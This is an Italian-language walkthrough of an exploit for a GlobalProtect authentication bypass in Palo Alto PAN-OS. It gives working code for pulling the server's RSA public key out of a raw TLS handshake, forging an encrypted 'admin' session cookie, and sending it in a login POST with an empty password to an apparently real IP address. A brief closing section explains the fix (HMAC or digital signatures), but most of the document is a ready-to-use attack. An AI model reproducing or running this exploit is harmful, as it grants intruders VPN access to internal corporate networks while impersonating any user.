Palo Alto Networks PAN-OS contiene un bypass di autenticazione causato da falle nel portale e gateway GlobalProtect, consentendo agli attaccanti di stabilire connessioni VPN non autorizzate; lo sfruttamento richiede l'accesso di rete al portale o gateway.
Questo exploit consente l'accesso VPN non autenticato a un gateway/portale Palo Alto GlobalProtect forgiando un cookie di autenticazione utilizzando esclusivamente il certificato TLS pubblicamente disponibile del server.
GlobalProtect utilizza un cookie pre-autenticazione (portal-userauthcookie) per consentire ai client di autenticarsi. Ecco il difetto fatale:
Flusso Normale:
1. Il client si autentica (nome utente + password)
2. Il server genera un cookie → lo crittografa con la chiave PUBBLICA RSA del server
3. Il client memorizza il cookie crittografato
4. Alla riconnessione, il client invia il cookie → il server lo decifra con la chiave PRIVATA → lo considera attendibile
Il Bug:
Il server CONTROLLA SOLO se il cookie viene decifrato correttamente con la sua chiave privata.
NON verifica CHI lo ha crittografato o se il contenuto in chiaro è legittimo.
Poiché la chiave pubblica RSA è incorporata nel certificato TLS del server (accessibile pubblicamente a chiunque si connetta), qualsiasi attaccante può:
Questo è un difetto classico di autenticazione compromessa — l'uso della crittografia dove era necessaria una firma digitale o un HMAC.
flowchart TD
A["Passo 1: Connessione TCP Raw"] --> B["Passo 2: Inviare ClientHello TLS Personalizzato"]
B --> C["Passo 3: Analizzare ServerHello → Estrarre Certificati DER"]
C --> D["Passo 4: Navigare ASN.1 per Estrarre Chiave Pubblica RSA"]
D --> E["Passo 5: Forgiare Cookie Crittografato PKCS#1 v1.5"]
E --> F["Passo 6: POST verso /ssl-vpn/login.esp"]
F --> G{"Il Server Decifra il Cookie"}
G -->|"Testo in chiaro valido"| H[" Bypass di Autenticazione — Accesso VPN concesso"]
G -->|"Non valido"| I[" Rifiutato"]Perché raw? Abbiamo bisogno del certificato del server in formato DER (binario raw). Il modulo
ssldi Python completa l'intero handshake TLS internamente e non espone i byte raw del certificato allo stesso modo. Effettuando una connessione TCP raw e inviando un ClientHello costruito a mano, possiamo intercettare la risposta del server a livello di byte.
Un record TLS si presenta così:
┌──────────────────────────────────────────────────┐
│ Intestazione Record TLS (5 byte) │
│ ┌──────┬──────────┬────────────┐ │
│ │ Tipo │ Versione │ Lunghezza │ │
│ │ 0x16 │ 0x03 01 │ 2 byte │ │
│ │(Hshk)│(TLS 1.0) │ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ Messaggio Handshake │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ Tipo │ Lunghezza │ Corpo │ │
│ │ 0x01 │ 3 byte │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
Il corpo del ClientHello contiene:
| Campo | Valore | Scopo |
|---|---|---|
| Versione | 0x03 0x03 (TLS 1.2) | Dire al server che parliamo TLS 1.2 |
| Random | 4 byte timestamp + 28 byte casuali | Nonce per l'handshake |
| Session ID | 0x00 (vuoto) | Nessuna ripresa di sessione |
| Cipher Suites | 9 suite incluse TLS_RSA_WITH_AES_128_CBC_SHA | Chiave: includiamo cifrature solo RSA per forzare il server a usare il suo certificato RSA |
| Compressione | 0x00 (nessuna) | Richiesto |
Estensioni incluse:
| Estensione | ID | Scopo |
|---|---|---|
| SNI (Server Name Indication) | 0x0000 | Dire al server a quale hostname ci stiamo connettendo |
| Signature Algorithms | 0x000D | Annunciare quali algoritmi di firma supportiamo |
| Supported Groups | 0x000A | Curve EC supportate (P-256, P-384, P-521) |
| EC Point Formats | 0x000B | Punti EC non compressi |
[!NOTE] Le suite di cifratura includono intenzionalmente cifrature di scambio chiave RSA (
0x002F=TLS_RSA_WITH_AES_128_CBC_SHA). Questo spinge il server a rispondere con il suo certificato RSA piuttosto che uno ECDSA — cosa fondamentale perché l'exploit funziona solo con RSA.
Dopo aver inviato il ClientHello, il server restituisce più record TLS:
Risposta del Server:
┌─────────────────┐
│ ServerHello │ (tipo handshake 2)
├─────────────────┤
│ Certificate │ (tipo handshake 11) ← VOGLIO QUESTO
├─────────────────┤
│ ServerKeyExchange│ (tipo handshake 12, opzionale)
├─────────────────┤
│ ServerHelloDone │ (tipo handshake 14) ← SEGNALE DI STOP
└─────────────────┘
Fase 1 — Rimuovere le intestazioni dei record TLS:
Ogni record TLS ha un'intestazione di 5 byte: [tipo(1)] [versione(2)] [lunghezza(2)]. Il codice scorre tutti i record e, per qualsiasi con tipo == 22 (Handshake), concatena i loro payload:
while i + 5 <= len(data):
t = data[i] # tipo contenuto
rl = (data[i + 3] << 8) | data[i + 4] # lunghezza record
if t == 22: # Handshake
hs.extend(data[i + 5: i + 5 + rl]) # acquisisci payload
i += 5 + rl # prossimo record
Fase 2 — Trovare il messaggio Certificate (tipo 11):
All'interno del flusso dell'handshake, ogni messaggio ha un'intestazione di 4 byte: [tipo(1)] [lunghezza(3)]. Scansioniamo per tipo == 11:
while j + 4 <= len(hs):
ht = hs[j] # tipo handshake
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # lunghezza 3 byte
if ht == 11: # Certificate!
# Analizza l'elenco dei certificati all'interno
Fase 3 — Estrarre singoli certificati DER:
Il messaggio Certificate contiene un elenco di certificati, ciascuno preceduto da una lunghezza di 3 byte:
Corpo del Messaggio Certificate:
┌───────────────────────────────────┐
│ Lunghezza totale certificati (3 byte) │
├───────────────────────────────────┤
│ Lunghezza Cert 1 (3 byte) │
│ Dati DER Cert 1 (variabile) │
├───────────────────────────────────┤
│ Lunghezza Cert 2 (3 byte) │
│ Dati DER Cert 2 (variabile) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
Nel nostro test run, abbiamo ottenuto 3 certificati (certificato foglia, CA intermedia, CA radice).
Questa funzione cerca ServerHelloDone (tipo handshake 14), che ci dice che il server ha finito di inviare e possiamo smettere di leggere.
I certificati X.509 sono codificati in DER (Distinguished Encoding Rules), un formato binario basato su ASN.1 (Abstract Syntax Notation One).
Ogni elemento in DER è:
┌─────┬────────┬───────────────────┐
│ Tag │ Lunghezza │ Valore (payload) │
│ 1B │ 1-5B │ variabile │
└─────┴────────┴───────────────────┘
Codifica della lunghezza:
0x80: lunghezza è quel byte direttamente (forma breve)0x80: i 7 bit bassi = numero di byte successivi che codificano la lunghezza (forma lunga)# Esempio: byte di lunghezza = 0x82 → altri 2 byte seguono
# Prossimi 2 byte: 0x06 0x4F → lunghezza = 0x064F = 1615 byte
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # forma lunga?
nb = length & 0x7F # quanti byte seguono
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = inizio valore
Certificate ::= SEQUENCE { ← tag 0x30
tbsCertificate SEQUENCE { ← tag 0x30
version [0] EXPLICIT ← tag 0xA0 (opzionale)
serialNumber INTEGER ← tag 0x02
signature SEQUENCE (AlgorithmID) ← tag 0x30
issuer SEQUENCE ← tag 0x30
validity SEQUENCE ← tag 0x30
subject SEQUENCE ← tag 0x30
subjectPublicKeyInfo SEQUENCE { ← tag 0x30 ★ VOGLIAMO QUESTO ★
algorithm SEQUENCE { ← tag 0x30
algorithm OID ← tag 0x06
parameters (opzionale)
}
subjectPublicKey BIT STRING { ← tag 0x03
RSAPublicKey SEQUENCE { ← tag 0x30
modulus INTEGER ← tag 0x02 ★ n ★
exponent INTEGER ← tag 0x02 ★ e ★
}
}
}
...
}
...
}
La funzione naviga l'albero DER leggendo tag+lunghezza e saltando i campi non necessari:
# Entra nella SEQUENCE esterna (Certificate)
r = rd_tl(der, 0) # → SEQUENCE
# Entra nella SEQUENCE tbsCertificate
r = rd_tl(der, p) # → SEQUENCE
# Controlla il tag versione opzionale
r = rd_tl(der, p)
if r["tag"] == 0xA0: # campo versione presente → saltalo
p = r["pos"] + r["len"]
r = rd_tl(der, p)
# Salta: serial → sigAlg → issuer → validity → subject
# (leggi ogni TLV e salta oltre)
# ORA siamo a subjectPublicKeyInfo
# Leggi l'AlgorithmIdentifier → controlla se OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
# ↑ Questo è 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
return None # Non RSA (probabilmente ECDSA)
# Leggi il BIT STRING → salta 1 byte (indicatore bit non utilizzati)
# Leggi la SEQUENCE interna → estrai modulus (n) e exponent (e)
Dettaglio importante — byte zero iniziale nel modulus:
if der[ms] == 0 and ml > 1:
ms += 1 # rimuovi 0x00 iniziale
ml -= 1
DER codifica interi come con segno. Se il bit più alto del modulus è 1, viene anteposto un byte 0x00 per mantenerlo positivo. Lo rimuoviamo perché abbiamo bisogno del valore non firmato grezzo.
Per il nostro target: modulus = 2048 bit (256 byte), exponent = 65537 (0x10001)
Questo è il cuore dell'exploit.
Il formato del cookie in chiaro è:
admin;;Windows;;1748928001;0.0.0.0
│ │ │ │
│ │ │ └── IP client
│ │ └── Timestamp Unix
│ └── Identificatore OS
└── Nome utente (scegliamo "admin")
Prima della crittografia RSA, il testo in chiaro deve essere riempito fino alla dimensione della chiave (256 byte per RSA 2048 bit):
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Padding casuale non nullo │ 0x00 │ Messaggio in chiaro │
│ │ │ (≥ 8 byte) │ │ │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
1B 1B byte di padLen 1B byte del messaggio
Totale = 256 byte (= dimensione chiave)
def forge(n, e, kl, username):
ts = str(int(time.time()))
pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")
pad_len = kl - len(pt) - 3 # 3 = 0x00 + 0x02 + 0x00 separatore
if pad_len < 8: # PKCS#1 richiede ≥ 8 byte di padding
return ""
em = bytearray([0x00, 0x02]) # Intestazione padding Tipo 2
for _ in range(pad_len):
em.append(random.randint(1, 255)) # byte casuali non nulli!
em.append(0x00) # separatore
cat(em, pt) # aggiungi testo in chiaro
# Crittografia RSA: ciphertext = em^e mod n
return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))
La matematica RSA:
ciphertext = plaintext^e mod n
Dove:
plaintext = il messaggio riempito come intero grande (256 byte → ~2048 bit)
e = 65537 (esponente pubblico)
n = il modulus a 2048 bit dal certificato
[!IMPORTANT] Questo funziona perché la crittografia RSA utilizza la chiave pubblica (n, e), che chiunque può ottenere dal certificato TLS. Il server lo decifrerà con la sua chiave privata (n, d) e recupererà il testo in chiaro —
admin;;Windows;;timestamp;0.0.0.0.Il server considera quindi questo testo in chiaro ciecamente — non verifica mai che il cookie sia stato emesso legittimamente da sé stesso.
Il cookie forgiato viene inviato come POST HTTPS standard all'endpoint di login di GlobalProtect:
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close
prot=https
&server=1.255.199.2
&user=admin
&passwd= ← vuoto! nessuna password necessaria
&context=gateway ← o "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=
[!NOTE] Il campo
passwdè vuoto. Il server non controlla affatto la password — si basa interamente sulportal-userauthcookieper l'autenticazione.
L'exploit testa due endpoint:
context=gateway): Accesso diretto al tunnel VPNcontext=portal): Accesso alla configurazione del portaledef is_gateway_success(resp, user):
# Controlla HTTP 200
# Controlla <status>Success</status> nel corpo XML
# OPPURE tag <argument> contenente il nome utente
sequenceDiagram
participant A as Attaccante
participant GP as Server GlobalProtect
A->>GP: Connessione TCP (porta 443)
A->>GP: ClientHello TLS Raw (costruito a mano)
GP->>A: ServerHello + Certificate (contiene chiave pubblica RSA)
GP->>A: ServerHelloDone
Note over A: Estrae chiave pubblica RSA (n, e) dal certificato
Note over A: Forgia cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
A->>GP: POST /ssl-vpn/login.esp (su TLS)
Note over GP: Riceve portal-userauthcookie
Note over GP: Decifra con chiave privata RSA
Note over GP: Ottiene "admin;;Windows;;ts;0.0.0.0"
Note over GP: ⚠️ Si fida ciecamente — nessun controllo di firma!
GP->>A: HTTP 200 OK + <status>Success</status>
Note over A: 🎉 Accesso VPN completo come "admin"| Aspetto | Impatto |
|---|---|
| Nessuna credenziale necessaria | La chiave pubblica è letteralmente pubblica — chiunque si connetta la ottiene |
| Nessuna forza bruta | Singola richiesta per tentativo, ha sempre successo su server vulnerabili |
| Pre-autenticazione | Sfruttabile prima di qualsiasi login — nessuna sessione esistente necessaria |
| Impersonazione utente | L'attaccante sceglie qualsiasi nome utente (admin, CEO, ecc.) |
| Accesso VPN completo | Una volta autenticato, l'attaccante è nella rete interna |
| Nessun log di fallimento password | Poiché l'autenticazione avviene tramite cookie, gli allarmi di password fallita non si attivano |
Il problema fondamentale è l'uso della crittografia per l'autenticazione. Gli approcci corretti:
Firme Digitali: Il server dovrebbe firmare il cookie con la sua chiave privata, non decifrare uno crittografato. Poi verificare la firma alla ri-autenticazione.
HMAC: Utilizzare una chiave segreta lato server per HMAC del payload del cookie. Solo il server conosce il segreto, quindi i cookie non possono essere contraffatti.
Token Binding: Associare il cookie alla sessione di autenticazione originale in modo che non possa essere riprodotto da un contesto diverso.
Rotto: cookie = RSA_encrypt(userdata, public_key) ← chiunque può farlo!
Risolto: cookie = HMAC(server_secret, userdata) ← solo il server può farlo
1. Connessione TCP al target:443
2. Inviare ClientHello costruito a mano (byte raw su TCP, NON TLS)
3. Ricevere ServerHello + Certificate + ServerHelloDone
4. Analizzare record TLS → estrarre messaggi di handshake
5. Trovare il messaggio Certificate (tipo 11) → estrarre certificati codificati DER
6. Navigare la struttura ASN.1/DER del certificato foglia:
SEQUENCE → SEQUENCE → [versione] → seriale → sigAlg → issuer → validità → subject
→ subjectPublicKeyInfo → algorithmIdentifier (controllare OID = RSA)
→ BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Costruire testo in chiaro: "admin;;Windows;;1748928001;0.0.0.0"
8. Padding PKCS#1 v1.5: 0x00 0x02 [random≥8] 0x00 [testo in chiaro]
9. Crittografia RSA: ciphertext = padded^e mod n
10. Codifica Base64 → codifica URL
11. POST verso /ssl-vpn/login.esp con cookie forgiato (su TLS corretto)
12. Il server decifra → si fida ciecamente → concede accesso VPN